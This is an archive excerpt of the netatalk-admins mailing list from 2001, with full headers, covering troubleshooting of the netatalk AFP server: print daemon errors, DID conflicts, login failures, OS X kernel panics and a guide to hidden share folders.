	for <netatalk-admins@umich.edu>; Mon, 29 Oct 2001 19:22:55 -0500 (EST)
Received: (qmail 43078 invoked by uid 1007); 30 Oct 2001 00:24:47 -0000
Received: from adam@datataker.com.au by portal.datataker.com.au with qmail-scanner-1.01 (. Clean. Processed in 0.074256 secs); 30 Oct 2001 00:24:47 -0000
Received: from dhcp71.int.datataker.com.au (HELO mediabox) (192.168.1.71)
  by int.datataker.com.au with SMTP; 30 Oct 2001 00:24:46 -0000
From: "Adam Clark" <adam@datataker.com.au>
To: <netatalk-admins@umich.edu>
Subject: papd: select: Interrupted system call
Date: Tue, 30 Oct 2001 11:24:25 -0000
Message-ID: <003201c16135$6edddfc0$4701a8c0@int.datataker.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hey,

I have this coming up all the time, on every print job
the job actually get printed but I want to know what it making it do it

Oct 30 10:59:07 portal papd[42689]: child 42713 for "HP 4MV" from 65280.181
Oct 30 10:59:07 portal papd[42713]: child 42714 done
Oct 30 10:59:07 portal papd[42713]: select: Interrupted system call
Oct 30 10:59:07 portal papd[42689]: child 42713 exited with 1

what would child 42714 be by the way
because it used to exit with "3", but I think that was due to CR-LF
translation

Earlier on I thought it may have been related to file size but it may not be
that ata ll

Adam


From netatalk.administrators-errors@umich.edu  Tue Oct 30 19:07:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA25704
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 30 Oct 2001 19:07:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA17744
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 30 Oct 2001 19:07:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA17735
	for netatalk.administrators-members@umich.edu; Tue, 30 Oct 2001 19:07:01 -0500 (EST)
Received: from rival.cmgraphics.net (mail.cmgraphics.net [205.150.212.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA17574
	for <netatalk-admins@umich.edu>; Tue, 30 Oct 2001 19:06:56 -0500 (EST)
Received: from jasonzegdusv3b ([205.150.212.5])
	by rival.cmgraphics.net (8.10.2+Sun/8.10.2) with SMTP id f9V05PQ17337
	for <netatalk-admins@umich.edu>; Tue, 30 Oct 2001 19:05:25 -0500 (EST)
Message-ID: <00b001c1619f$ecfa5e50$05d496cd@jasonzegdusv3b>
From: "Jason Lam" <lamj-list2@cmgraphics.net>
To: <netatalk-admins@umich.edu>
Subject: Experience with 1.5pre8 - PART 2
Date: Tue, 30 Oct 2001 19:06:44 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00AD_01C16176.03EEC760"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_00AD_01C16176.03EEC760
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello!

After posting a couple days back about my installation, there is new =
additions to my setup.

I am still having problems with DID conflict on my heavy loaded server, =
it only happened once in two days.=20

Thanks to Sebastian Rittau pointing to me that the options I used to =
change DID behaviour was not correct, a closer look at the configure.in =
reveals that only thing related to DID in configure.in is =
--with-did=3Dlast or --with-did=3Dmtab. Is there a problem with =
documentation?

Anyone with RH7.1 and netatalk 1.5pre8 out there? Are you having problem =
with DID? Can you fix it with --with-did=3Dlast?=20

I am running into problems when user open a lot of files at the same =
time, syslog shows "maximum number of forks exceeded", how should I tune =
this? (I know... It is more Linux kernel tunning, right?)  Would it be =
ulimit?=20

Jason Lam


------=_NextPart_000_00AD_01C16176.03EEC760
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>After posting a couple days back about =
my=20
installation, there is new additions to my setup.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am still having problems with DID =
conflict on my=20
heavy loaded server, it only happened once in two days. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks to Sebastian Rittau pointing to =
me that the=20
options I used to change DID behaviour was not correct, a closer look at =
the=20
configure.in reveals that only thing related to DID in configure.in is=20
--with-did=3Dlast or --with-did=3Dmtab. Is there&nbsp;a problem with=20
documentation?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Anyone with RH7.1 and netatalk 1.5pre8 =
out there?=20
Are you having problem with DID? Can you fix it with --with-did=3Dlast?=20
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am running into problems when user =
open a lot of=20
files at the same time, syslog shows "maximum number of forks exceeded", =
how=20
should I tune this? (I know... It is more Linux kernel tunning, =
right?)&nbsp;=20
Would it be ulimit? </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jason Lam</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_00AD_01C16176.03EEC760--


From netatalk.administrators-errors@umich.edu  Thu Nov  1 17:27:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA06683
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Nov 2001 17:27:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA05387
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Nov 2001 17:27:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA05369
	for netatalk.administrators-members@umich.edu; Thu, 1 Nov 2001 17:27:27 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA05325
	for <netatalk-admins@umich.edu>; Thu, 1 Nov 2001 17:27:25 -0500 (EST)
Received: from white-mountain.org (merlin.dhcp.white-mountain.org [192.168.0.140])
	by hermit.white-mountain.org (Postfix) with ESMTP id 08C0D4430
	for <netatalk-admins@umich.edu>; Thu,  1 Nov 2001 14:27:23 -0800 (PST)
Message-ID: <3BE1CCD1.37874FDA@white-mountain.org>
Date: Thu, 01 Nov 2001 14:29:37 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [ANNOUNCE] Mac::AppleSingleDouble.pm 1.0 released (it's a Perl module)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I run netatalk and needed to do some file management on the server side
using Finder info... so I wrote this Perl module to help. It makes it
easy to examine a given AppleSingle or AppleDouble formatted file and to
get at the Mac metadata.

------------------
You can find this module at your local CPAN mirror (see
http://www.perl.com/CPAN for details).

The uploaded file

    Mac-AppleSingleDouble-1.0.tar.gz

has entered CPAN as

  file: $CPAN/authors/id/J/JF/JFLOURNOY/Mac-AppleSingleDouble-1.0.tar.gz

  size: 16047 bytes
   md5: 96343f4314905602f96e379baa25996f




From netatalk.administrators-errors@umich.edu  Fri Nov  2 04:40:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA29732
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Nov 2001 04:40:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA07815
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Nov 2001 04:40:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA07806
	for netatalk.administrators-members@umich.edu; Fri, 2 Nov 2001 04:40:45 -0500 (EST)
Received: from mail5.registeredsite.com (mail5.registeredsite.com [64.224.9.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA07781
	for <netatalk-admins@umich.edu>; Fri, 2 Nov 2001 04:40:44 -0500 (EST)
Received: from mail.bizedge.com (mail.bizedge.com [209.35.18.20])
	by mail5.registeredsite.com (8.11.6/8.11.4) with ESMTP id fA28kug06815
	for <netatalk-admins@umich.edu>; Fri, 2 Nov 2001 03:46:56 -0500
Received: from webramp [209.35.18.20] by mail.bizedge.com
  (SMTPD32-6.06) id AA15291200A0; Fri, 02 Nov 2001 04:40:37 -0500
Message-ID: <003f01c16382$be1303a0$df5158c6@webramp>
From: "Mike Soong" <mike.soong@bizedge.com>
To: <netatalk-admins@umich.edu>
Subject: Trouble logging in.
Date: Fri, 2 Nov 2001 17:42:50 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_003C_01C163C5.CADD6A60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

This is a multi-part message in MIME format.

------=_NextPart_000_003C_01C163C5.CADD6A60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Please help as I'm stuck. I have not compile the netatalk in the kernel =
as i think i dont reallary need an apple share. An AppleShare IP would =
be suffient for me to work on. So the problem arises when i try to log =
in as real users, they will give me an error message taht tell me that =
the password that I enteris incorrect. I have set shadow password in =
/pathto/netatalk/etc/afpd/Makefile but it still doesn't seem to work. I =
can only log in as guest and not valid users. Please advice me on this =
ASAP.

Thank you

------=_NextPart_000_003C_01C163C5.CADD6A60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Please help as I'm stuck. I have not =
compile the=20
netatalk in the kernel as i think i dont reallary need an apple share. =
An=20
AppleShare IP would be suffient for me to work on. So the problem arises =
when i=20
try to log in as real users, they will give me an error message taht =
tell me=20
that the password that I enteris incorrect. I have set shadow password =
in=20
/pathto/netatalk/etc/afpd/Makefile but it still doesn't seem to work. I =
can only=20
log in as guest and not valid users. Please advice me on this =
ASAP.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you</FONT></DIV></BODY></HTML>

------=_NextPart_000_003C_01C163C5.CADD6A60--


From netatalk.administrators-errors@umich.edu  Fri Nov  2 14:07:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA21640
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Nov 2001 14:07:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA25406
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Nov 2001 14:07:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA25390
	for netatalk.administrators-members@umich.edu; Fri, 2 Nov 2001 14:07:44 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA25349
	for <netatalk-admins@umich.edu>; Fri, 2 Nov 2001 14:07:43 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000111242 for <netatalk-admins@umich.edu>; Fri, 02 Nov 2001 20:07:43 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101000b8089b0e161d@[192.168.1.201]>
In-Reply-To: <a05101001b7ff3546a7cf@[192.168.1.201]>
References: <E4481E47-C970-11D5-826C-000A279495A2@apple.com>
 <a05101001b7ff3546a7cf@[192.168.1.201]>
Date: Fri, 2 Nov 2001 20:07:39 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: 1.5pre8 - OSX 10.1 kernel panic upd. and names
Content-Type: text/plain; charset="us-ascii"

To whom it might concern,

[OS X 10.1 Kernel panic issue]
The OS X 10.1 Kernel panic described before seems to occur only on the --enable-cnid-db  build of netatalk 1.5p8. 

So far, (3 workdays in multiuser testing and many, many mounts and remounts) the version compiled only with 
--with-did=mtab \
--with-flock-locks \
--with-pam \
--with-shadow

is doing fine both with OS9 and with OS X 10.1 clients on a SuSE Linux 7.1 intel / libc6 / Kernel 2.4.0-4GB server. 

I'm looking forward to installing 1.5p8 on our other servers, this one being SuSE Linux 7.1 / Intel / Kernel 2.4.0-4GB.

I also did not have the problems described by other people on the list about data loss (up to now), but of course I am watching it.

[ISO names]
I am also running options:mswindows,nohex,usedots 
(for the first time with the p-releases) and it is translating fine from / to ISO 8859-1.

To rename previously :hex named files, a nifty utility provided by the mysql package is worth mentioning here: 'replace', which used in combination with 'find' made all needed conversions.  Sure, people accustomed to awk or sed will laugh, but for this issue replace worked just fine :-). 



Regards,
Lorenzo

From netatalk.administrators-errors@umich.edu  Sat Nov  3 09:20:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA15154
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Nov 2001 09:20:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA16362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Nov 2001 09:20:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA16345
	for netatalk.administrators-members@umich.edu; Sat, 3 Nov 2001 09:20:06 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA16294
	for <netatalk-admins@umich.edu>; Sat, 3 Nov 2001 09:20:04 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fA3EK3325776
	for <netatalk-admins@umich.edu>; Sat, 3 Nov 2001 15:20:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fA3EK2mZ013086
	for <netatalk-admins@umich.edu>; Sat, 3 Nov 2001 15:20:02 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fA3EK2qu013085
	for netatalk-admins@umich.edu; Sat, 3 Nov 2001 15:20:02 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 1601aG-0008Dm-00; Sat, 03 Nov 2001 15:15:40 +0100
Date: Sat, 3 Nov 2001 15:15:38 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] quick guide to "hidden" folders in netatalk shares
Message-ID: <20011103151538.B31451@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
References: <Pine.LNX.4.21.0110192251480.1361-100000@frank.gwc.org.uk> <3BD1B3BE.337B4CED@trewitt.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3BD1B3BE.337B4CED@trewitt.org>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sat, Oct 20, 2001 at 10:26:34AM -0700, Glenn Trewitt wrote:

> First of all (minor point), all of these files are fiddled with by afpd, not
> netatalk.  I don't know if you want to make this distinction or not.

He points that out at the beginning of the document:

| Inside netatalk share points you will find several files and directories
| which are created automatically by the afpd process either for its own
| internal use or for the internal use of the MacOS.


> Alistair Riddell wrote:
> 
> > Note that in general on Netatalk shares, all directories should have the
> > setgid bit set. This forces any new files or folders created to have the
> > same group as the folder they were created in.
> 
> This is what netatalk does, but it isn't necessary on FreeBSD systems.  On
> FreeBSD (probably all BSD systems), the new directory *always* inherits the
> group of the parent.

I've added "On some operating systems, notably FreeBSD, the group owner
is always inherited from the parent directory, so the setgid bit is not
necessary."

> > .AppleDouble/
> >
> > This directory exists inside each folder on a Netatalk share. It contains
> > the resource fork of each file in that folder. Its permissions should
> > match those of its parent directory, i.e. anyone who has write access to
> > the parent directory must have write access to the corresponding
> > .AppleDouble directory.
> 
> It's not just the resource fork, it's also the file creator/type, and any
> other Mac file system information that doesn't have an analog on UNIX.  i.e.,
> this file will exist, and be non-empty, even if the file has no resource
> fork.

Clarified.

> You might also mention that .Parent (in .AppleDouble) contains the Mac HFS
> information for the directory.  e.g., MyFolder/.AppleDouble/.Parent contains
> info for MyFolder

Added.

> > Network\ Trash\ Folder/
> >
> > This exists at the top level of each sharepoint. This is where files that
> > are put in the Trash on clients go, until the Trash is emptied.
> >
> > The permissions of items in this directory are a pretty complicated
> > subject, but basically you should make this directory and everything in it
> > world-writeable if you want the Trash can to work properly. If you don't
> > make it writeable then users will get a message "That item cannot be put
> > in the Trash. Do you want to delete it immediately?" if they try to put
> > something in the Trash.
> 
> This is correct on Mac OS < X, but I was just fiddling with this from OS X,
> and no combination of permission bits makes it work.

I leave it like it is for now.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Nov  3 11:55:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19828
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Nov 2001 11:55:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA19613
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Nov 2001 11:55:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA19596
	for netatalk.administrators-members@umich.edu; Sat, 3 Nov 2001 11:55:15 -0500 (EST)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA19564
	for <netatalk-admins@umich.edu>; Sat, 3 Nov 2001 11:55:14 -0500 (EST)
Received: (qmail 14978 invoked by uid 104); 3 Nov 2001 16:55:13 -0000
Received: from cwg-dated-ad2fc2f34b80c31c@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4168. . Clean. Processed in 0.80591 secs); 03/11/2001 10:55:12
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-ad2fc2f34b80c31c@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 3 Nov 2001 16:55:11 -0000
Received: (qmail 13976 invoked by alias); 3 Nov 2001 16:55:10 -0000
From: "Chris Garrigues" <cwg-dated-ad2fc2f34b80c31c@deepeddy.com>
Received: (qmail 13948 invoked from network); 3 Nov 2001 16:55:09 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <srittau@jroger.in-berlin.de@fixme>; 3 Nov 2001 16:55:09 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
Cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] quick guide to "hidden" folders in netatalk shares 
In-Reply-To: <20011103151538.B31451@jroger.in-berlin.de> 
References: <Pine.LNX.4.21.0110192251480.1361-100000@frank.gwc.org.uk> <3BD1B3BE.337B4CED@trewitt.org> <20011103151538.B31451@jroger.in-berlin.de>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1844043809P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Sat, 03 Nov 2001 10:55:09 -0600
Message-ID: <13945.1004806509@deepeddy.com>
Mail-Reply-To: cwg-dated-ad2fc2f34b80c31c@DeepEddy.Com

--==_Exmh_1844043809P
Content-Type: text/plain; charset=us-ascii

> From:  Sebastian Rittau <srittau@jroger.in-berlin.de>
> Date:  Sat, 3 Nov 2001 15:15:38 +0100
>
> On Sat, Oct 20, 2001 at 10:26:34AM -0700, Glenn Trewitt wrote:
> 
> > > Network\ Trash\ Folder/
> > >
> > > This exists at the top level of each sharepoint. This is where files that
> > > are put in the Trash on clients go, until the Trash is emptied.
> > >
> > > The permissions of items in this directory are a pretty complicated
> > > subject, but basically you should make this directory and everything in it
> > > world-writeable if you want the Trash can to work properly. If you don't
> > > make it writeable then users will get a message "That item cannot be put
> > > in the Trash. Do you want to delete it immediately?" if they try to put
> > > something in the Trash.
> > 
> > This is correct on Mac OS < X, but I was just fiddling with this from OS X,
> > and no combination of permission bits makes it work.
> 
> I leave it like it is for now.

Leland Wallace <randall@apple.com> posted a message on 16 Oct 2001 which 
stated:

> The Finder trash behavior in Mac OS X does not currently work with afp 
> volumes.
> We are working on fixing it.

so I suspect that the correct thing to say is that this is currently broken 
in 10.1, but is expected to be fixed.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_1844043809P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE75CFsK9b4h5R0IUIRAsTQAJ9RkFj4r+QxS2zTR6PZ8PVQk20xIACdH9Yg
C5YXC2y1UT6C83L0jRlqSTU=
=Rfp7
-----END PGP SIGNATURE-----

--==_Exmh_1844043809P--

From <>  Sat Nov  3 12:12:26 2001
Return-Path: <<>>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA20315
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 3 Nov 2001 12:12:26 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA08906
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 3 Nov 2001 12:12:22 -0500 (EST)
Received: from smtp.georgefox.edu (smtp.georgefox.edu [209.170.224.18])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA08863
	for <netatalk-admins@umich.edu>; Sat, 3 Nov 2001 12:12:21 -0500 (EST)
Received: from mail.georgefox.edu (mail.georgefox.edu [209.170.224.20])
	by smtp.georgefox.edu (8.10.2+Sun/8.10.2) with ESMTP id fA3HC8o24622
	for <netatalk-admins@umich.edu>; Sat, 3 Nov 2001 09:12:08 -0800 (PST)
Message-id: <fc.000f6f5c00dd36163b9aca0036dc3de9.dd3617@mail.georgefox.edu>
Date: Sat, 03 Nov 2001 09:04:04 -0800
Subject: NDN: Re: [Netatalk-devel] quick guide to "hidden" folders in netatalk shares 
X-FC-Icon-ID: 2031
X-FC-MachineGenerated: true
To: netatalk-admins@umich.edu
From: "Mailer-Daemon" <Mailer-Daemon@georgefox.edu>
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Sorry. Your message could not be delivered to:

Anthony Brock (Mailbox or Conference is full.)


From netatalk.administrators-errors@umich.edu  Sun Nov  4 17:18:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA19775
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Nov 2001 17:18:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA23282
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Nov 2001 17:18:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA23277
	for netatalk.administrators-members@umich.edu; Sun, 4 Nov 2001 17:18:19 -0500 (EST)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA23258
	for <netatalk-admins@umich.edu>; Sun, 4 Nov 2001 17:18:17 -0500 (EST)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id WAA05173
	for <netatalk-admins@umich.edu>; Sun, 4 Nov 2001 22:18:16 GMT
Date: Sun, 4 Nov 2001 22:18:16 +0000 (GMT)
From: Alistair Riddell <ali@gwc.org.uk>
To: netatalk-admins@umich.edu
Subject: Sherlock
Message-ID: <Pine.LNX.4.21.0111042216040.1591-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Has anybody had any luck getting Sherlock to work with netatalk? 

The only combination I can get to work is Sherlock 2 with CNID DB enabled
on the server.

Other combinations find files correctly but produce an error when you
click on a file to reveal its location in the folder hierarchy....

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sun Nov  4 22:40:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA29622
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Nov 2001 22:40:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA09126
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Nov 2001 22:40:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA09113
	for netatalk.administrators-members@umich.edu; Sun, 4 Nov 2001 22:40:25 -0500 (EST)
Received: from financialzoo.com ([61.6.65.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA08960
